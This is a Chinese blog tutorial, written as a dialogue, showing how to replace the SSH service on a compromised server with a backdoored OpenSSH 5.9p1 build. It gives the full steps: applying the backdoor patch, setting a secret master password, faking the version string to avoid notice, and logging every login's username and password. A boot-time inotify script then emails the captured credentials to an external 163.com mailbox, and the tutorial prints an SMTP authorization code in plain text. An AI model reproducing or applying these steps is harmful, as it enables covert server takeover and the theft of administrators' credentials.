注:

正在找工作的小伙伴可以看我的《运维面试宝典专栏》(持续更新中)

对职业发展比较困惑的小伙伴可以看 《IT学子成长指南》(更新中)

想要系统学习云计算运维的小伙伴可以看《循序渐进学运维专栏》 (持续更新中)

想要改变思维打造自己的副业的小伙伴可以看《年薪300W的随笔》 (持续更新中)

作者简介

作者名: 互联网老辛

简介: CSDN博客专家,一线互联网从业人员,架构师,云计算运维讲师,从16年开始做直播教学,几年来,陆续帮助近3000+小伙伴高薪就业。欢迎各位小伙伴加我咨询相关问题,带你走出迷茫;

学习开始

  • 老辛: 听说你们作为安全人员,可以任意的获取肉鸡服务器的密码是怎么做到的?

  • 美图技术专家: 我给你举个例子把:

平时我们在登陆服务器的时候,使用的是ssh服务,但我们获取肉鸡的使用权后,会修改ssh服务,使原本的ssh服务变成一个有后门漏洞的SSH服务,对他们的管理员来说,似乎没有改变什么。

但对我们来说,只要对方登陆系统,我就可以收到他的用户名和密码。 无论怎么修改密码,我都可以收到。

  • 老辛: 太厉害了,能给大家讲讲吗?

  • 美图技术专家: 可以啊,我开个电脑。

思路: 我们模拟给一台服务器的ssh服务,升级为我们特有的有后门漏洞的ssh服务,然后演示下如何获取密码,并发送到我的邮箱。

配置前准备

1、查看ssh版本

[root@itlaoxin63 tmp]# ssh -v #查看安装前ssh版本
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

2. 查看gcc版本

gcc -v
[root@itlaoxin63 tmp]# gcc -v #确认安装gcc
。。。
gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC)

3、安装gcc

若没有安装gcc,需要安装gcc
[root@itlaoxin63 tmp]# yum install gcc #如果没安装gcc,就安装一下

4. 上传需要的软件包

上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/tmp目录

包的下载地址:
https://www.cnbeta.com/articles/soft/154144.htm

5、进入文件目录
[root@itlaoxin63 tmp]# cd /tmp
解压文件
[root@itlaoxin63 tmp]# tar zxvf openssh-5.9p1.tar.gz
[root@itlaoxin63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

对openssh-5.9p1打后门漏洞补丁

1、开始打补丁

[root@itlaoxin63 tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
root@itlaoxin63 openssh-5.9p1.patch]# cd openssh-5.9p1
[root@itlaoxin63 openssh-5.9p1]# patch < sshbd5.9p1.diff
打补就修改或者替换原来的文件

patching file auth.c  #认证patching file auth-pam.c #认证
patching file auth-passwd.c #认证patching file canohost.cpatching file includes.hpatching file log.cpatching file servconf.c   #关于sshd服务端patching file sshconnect2.c  #关于sshd连接patching file sshlogin.c #关于登录,把root密码记录下来patching file version.h  #关于版本

2、修改后门密码和记录root密码的文件夹目录

[root@itlaoxin63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h
找到:
改:

#define ILOG "/tmp/ilog"       //记录登录到本机的用户名和密码
#define OLOG "/tmp/olog"     //记录从本机登录到其他服务器上的用户名和密码
#define SECRETPW "apaajaboleh"    //你后门密码(后门密码是黑客使用的登录密码)

为:

#define ILOG "/usr/share/ifile"
#define OLOG "/usr/share/ofile"
#define SECRETPW "redhat"

3、为了使用安后的版本和原系统的版本一样,修改版本号:

[root@itlaoxin63 openssh-5.9p1]# vim /root/openssh-5.9p1/version.h

  3 #define SSH_VERSION     "OpenSSH_5.8p1 Debian-1ubuntu3"4 5 #define SSH_PORTABLE    "p1"
为:
#define SSH_VERSION     " OpenSSH_5.3"#define SSH_PORTABLE    "p1"

4、安装打了后门补丁的sshd服务

[root@itlaoxin63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
开始安装:
[root@itlaoxin63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
参数说明:
–prefix=/usr #指定安装到/usr 目录下
–sysconfdir=/etc/ssh #指定sshd服务配置文件目录
–with-pam #支持pam认证
–with-kerberos5 #支持kerberos认证

[root@itlaoxin63 openssh-5.9p1]# make -j 4 && make install


/usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh
/usr/bin/install -c -m 0755 -s scp /usr/bin/scp
/usr/bin/install -c -m 0755 -s ssh-add /usr/bin/ssh-add
/usr/bin/install -c -m 0755 -s ssh-agent /usr/bin/ssh-agent
/usr/bin/install -c -m 0755 -s ssh-keygen /usr/bin/ssh-keygen
/usr/bin/install -c -m 0755 -s ssh-keyscan /usr/bin/ssh-keyscan
/usr/bin/install -c -m 0755 -s sshd /usr/sbin/sshd
/usr/bin/install -c -m 4711 -s ssh-keysign /usr/libexec/ssh-keysign
/usr/bin/install -c -m 0755 -s ssh-pkcs11-helper /usr/libexec/ssh-pkcs11-helper
/usr/bin/install -c -m 0755 -s sftp /usr/bin/sftp

5、重启sshd服务:

[root@itlaoxin63 openssh-5.9p1]# service sshd restart

6、测试使用xshel登录劫持密码

测试前,发现/usr/share/ifile文件没有存在
[root@itlaoxin63 ~]# ls /usr/share/ifile
ls: cannot access /usr/share/ifile: No such file or directory

xshell 登录后

7.查看劫持到root密码

[root@itlaoxin63 ~]# cat /usr/share/ifile

8. 另外我们也可以使用后门密码来登录root帐号

此处是在本机服务器上登录的,会看到olog文件

[root@itlaoxin tmp]# ssh 192.168.1.5
The authenticity of host '192.168.1.5 (192.168.1.5)' can't be established.
ECDSA key fingerprint is 60:23:d2:32:d1:5b:1d:bd:1a:f0:33:3e:60:9c:35:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.5' (ECDSA) to the list of known hosts.
root@192.168.1.5's password:
Last login: Thu May  6 01:08:58 2021 from 192.168.1.2[root@itlaoxin ~]# cd /tmp/
[root@itlaoxin tmp]# ls
0x06-openssh-5.9p1.patch.tar.gz  install.log         openssh-5.9p1.patch
anaconda-ks.cfg                  install.log.syslog  openssh-5.9p1.tar.gz
ilog                             olog                sshpass-1.06.tar.gz
inotify-tools-3.13.tar.gz        openssh-5.9p1       yum.log
[root@itlaoxin tmp]# cat olog
user:password@host --> root:redhat@192.168.1.5
[root@itlaoxin tmp]# 

测试记录远程主机的密码

1、使用itlaoxin63登录远程主机itlaoxin64

[root@itlaoxin63 ~]# ssh root@192.168.1.64
root@192.168.1.64’s password:123456
Last login: Wed Aug 12 19:29:28 2015 from 192.168.1.63
[root@itlaoxin64 ~]# exit
[root@itlaoxin63 ~]# cat /tmp/olog #查看记录从itlaoxin64登录到远程主机的密码
user:password@host --> root:12345678@192.168.1.63
user:password@host --> root:123456@192.168.1.64

自动发邮件测试

这里以163的smtp服务器为例,实现自动发送邮件

1、使用mail.rc实现发邮件

[root@itlaoxin63 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:

[root@itlaoxin tmp]# cat /etc/mail.rc
set from=xinsz08vip@163.com smtp=smtp.163.com
set smtp-auth-user=xinsz08vip smtp-auth-password=CNSYCIQAOUUGOSOA  smtp-auth=login

set from=xinsz08vip@163.com smtp=smtp.163.com # 指定发件人的邮箱
set smtp-auth-user=xinsz08vip # 写自己发件人的邮箱账号
smtp-auth-password=CNSYCIQAOUUGOSOA # 写发件人邮箱的授权码
smtp-auth=login

2. 配置163邮箱

点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)

开启服务:

记住授权码:CNSYCIQAOUUGOSOA

在操作的过程中,可能也需要要求发短信:微信扫码即可

3. 测试邮件发送

[root@itlaoxin tmp]# mail -s “demo” xinsz08vip@163.com < /tmp/ilog
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FTuslAab-1620347763117)(uploading…)]

4. 编写shell脚本自动发邮件,邮件的主题是服务器的IP地址

[root@itlaoxin63 bin]# vim /bin/zipmail #写入以下内容

[root@itlaoxin tmp]# cat /bin/zipmail

ip=`ifconfig |grep inet |sed -n '1p' |awk '{print $2}' |awk -F ':' '{print $2}'`
mail -s $ip xinsz08vip@163.com < /tmp/ilog

[root@itlaoxin63 bin]# chmod +x /bin/zipmail

5. 自动发邮件测试

[root@itlaoxin63 bin]# zipmail
发现也可以收到邮件,说明成功。

6. 实现当用户修改密码后,自动发送邮件

1、上传inotify-tools-3.13.tar.gz到服务器上

2、安装inotify

[root@itlaoxin63 ~]# tar -zxvf inotify-tools-3.13.tar.gz
[root@itlaoxin63 ~]# cd inotify-tools-3.13
[root@itlaoxin63 inotify-tools-3.13]# ./configure 检查安装环境
[root@itlaoxin63 inotify-tools-3.13]# make -j 4 #make编译,将源代码编译成二进制,可执行的文件 # -j 4 使用4个CPU一起编译。
[root@itlaoxin63 inotify-tools-3.13]# make install # 安装

3、编写触发式自动发邮件脚本

[root@itlaoxin63 ~]# cat /bin/zipmail

#!/bin/bash
/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c
do
ip=`ifconfig |grep inet |sed -n '1p' |awk '{print $2}' |awk -F ':' '{print $2}'`
mail -s $ip xinsz08vip@163.com < /tmp/ilog
done

4、设置开机启动zipmail脚本

[root@itlaoxin63 ~]# vim /etc/rc.local #在此文件的最后插入以下内容
/bin/zipmail &

5、测试

[root@itlaoxin63 ~]# bash /etc/rc.local #可以运行

查看邮箱,看到了发过来的邮件:

绝了!美图技术专家获取肉鸡服务器密码如探囊取物相关推荐

  1. 美图手机显示服务器异常怎么回事,美图手机的云服务器

    美图手机的云服务器 内容精选 换一换 通过内网连接云手机实例时,需要在租户VPC中创建一台弹性云服务器,作为连接云手机的跳板机器.若创建云手机服务器时未使用自定义网络,还需在云手机租户的VPC和服务器 ...

  2. 美图手机显示服务器异常,美图手机的云服务器

    美图手机的云服务器 内容精选 换一换 本节操作以Windows Server 2012操作系统的弹性云服务器为例介绍实现多用户登录的操作步骤.Windows server2012服务器默认能够支持两个 ...

  3. 美图手机显示无服务器,美图手机云服务器

    美图手机云服务器 内容精选 换一换 购买Windows弹性云服务器后,通过MSTSC远程连接,发现没有声音.通过MSTSC远程连接的Windows弹性云服务器如何播放音频?本节内容适用于Windows ...

  4. 美图手机显示无服务器,iPhone的这些隐秘功能,资深果粉都未必知道

    原标题:iPhone的这些隐秘功能,资深果粉都未必知道 iOS操作系统以封闭化的生态而出名,但很多人认为相比安卓系统来说,它的可玩性不高,但老果粉或许都知道,iOS系统也有很多隐藏的小技巧.是时候让你 ...

  5. python画美图_python获取街拍美图

    1. 抓包 2. 查看参数信息 多看几页即可看见规律,主要改变的项无非是offset,timestamp,这里的stamp是13位的时间戳,再根据keyword改变搜索项,可以改变offset值实现翻 ...

  6. 美图插上卡显示无服务器,美图账户云服务器

    美图账户云服务器 内容精选 换一换 如果您的业务数据同时保存在数据盘和系统盘中,要想实现业务数据跨帐号迁移,需要用到镜像服务的创建整机镜像.共享镜像等功能.本节操作以Windows操作系统为例,为您详 ...

  7. 干货 | 美图个性化推荐的实践与探索

    互联网技术将我们带入了信息爆炸的时代,面对海量的信息,一方面用户难以迅速发现自己感兴趣的信息,另一方面长尾信息得不到曝光.为了解决这些问题,个性化推荐系统应运而生.美图拥有海量用户的同时积累了海量图片 ...

  8. 火山引擎数智平台协助洞察美图类APP新增长,付费用户转化超过124%

    更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 美图类 APP 的下一个增长点在哪里? 目前,国内市场上的美图类 APP 大多都遵循着基础功能免费使用.个性化热门 ...

  9. 连接服务器密码显示过期,登录服务器密码过期

    登录服务器密码过期 内容精选 换一换 本节操作介绍Linux云服务器切换密钥登录为密码登录的操作步骤.使用密钥登录Linux云服务器,设置root密码.sudo passwd root若密钥文件丢失或 ...

最新文章

  1. Linux系统文本命令快速登录与退出
  2. 2018QBXT刷题游记(15)
  3. 102页PPT,DeepMind强化学习最新进展,含图文、公式和代码
  4. linux下压缩并分割稀疏文件
  5. zookeeper 伪分布式安装
  6. CERT.RSA中证书的格式
  7. 【XML】XML语法格式提要
  8. 神经网络之文本情感分析(四)
  9. android 自己定义标签的使用,实现扁平化UI设计
  10. 用户选购计算机可分为,计算机二级《MS Office》选择题练习及答案2017
  11. Lightroom Classic 教程,如何在 Lightroom 中更高效的获取快速提示?
  12. html 引入 icon 图标
  13. 淘宝返利公众号开发、淘宝联盟API权限申请及对接详细教程
  14. 【Python CI】圈复杂度 lizard
  15. Mybatis学习一
  16. java设计九宫格拼图软件哪个好用_抖音超火的朋友圈九宫格用什么软件做的? 抖音九宫格图片制作教程...
  17. 《深入解读Windows操作系统》之系统构架
  18. 交叉表、行列转换和交叉查询经典
  19. MyBatis-Plus分页插件的使用
  20. cifar10数据集下载及图片格式解析

热门文章

  1. 随机读写之DirectIO
  2. “好色之图” 整理【持续更新】
  3. 入门算法:小和问题 之归并排序思想 java语言
  4. java 网络编程详细解析
  5. 隐形降权是什么, 什么行为会导致店铺被隐形降权,如何避免降权
  6. 混淆电路——混淆电路原理
  7. 未来五年,物联网三大技术发展趋势
  8. 不眠者-泽队:广东省工科赛—全地形越障排爆组(开源7天)
  9. 安装完Oracle客户端出现ORA-12560:TNS:协议适配器错误
  10. 行业前沿研究 - 优士网